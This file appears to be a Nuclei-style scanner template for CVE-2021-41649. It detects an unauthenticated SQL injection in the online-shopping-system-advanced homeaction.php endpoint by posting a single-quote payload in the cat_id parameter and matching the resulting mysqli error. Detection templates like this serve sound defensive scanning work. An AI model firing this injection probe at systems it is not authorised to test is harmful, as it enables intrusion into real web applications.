40 lines
1.0 KiB
YAML
40 lines
1.0 KiB
YAML
id: CVE-2021-41649
|
|
|
|
info:
|
|
name: PuneethReddyHC online-shopping-system-advanced SQL Injection homeaction.php
|
|
author: daffainfo
|
|
severity: critical
|
|
description: An un-authenticated SQL Injection exists in PuneethReddyHC online-shopping-system-advanced through the /homeaction.php cat_id parameter. Using a post request does not sanitize the user input.
|
|
reference: https://github.com/MobiusBinary/CVE-2021-41649
|
|
tags: cve,cve2021,sqli
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.80
|
|
cve-id: CVE-2021-41649
|
|
cwe-id: CWE-89
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/homeaction.php"
|
|
body: "cat_id=4'&get_seleted_Category=1"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
|
|
- type: word
|
|
words:
|
|
- "Warning: mysqli_num_rows() expects parameter 1 to be"
|
|
- "xdebug-error xe-warning"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|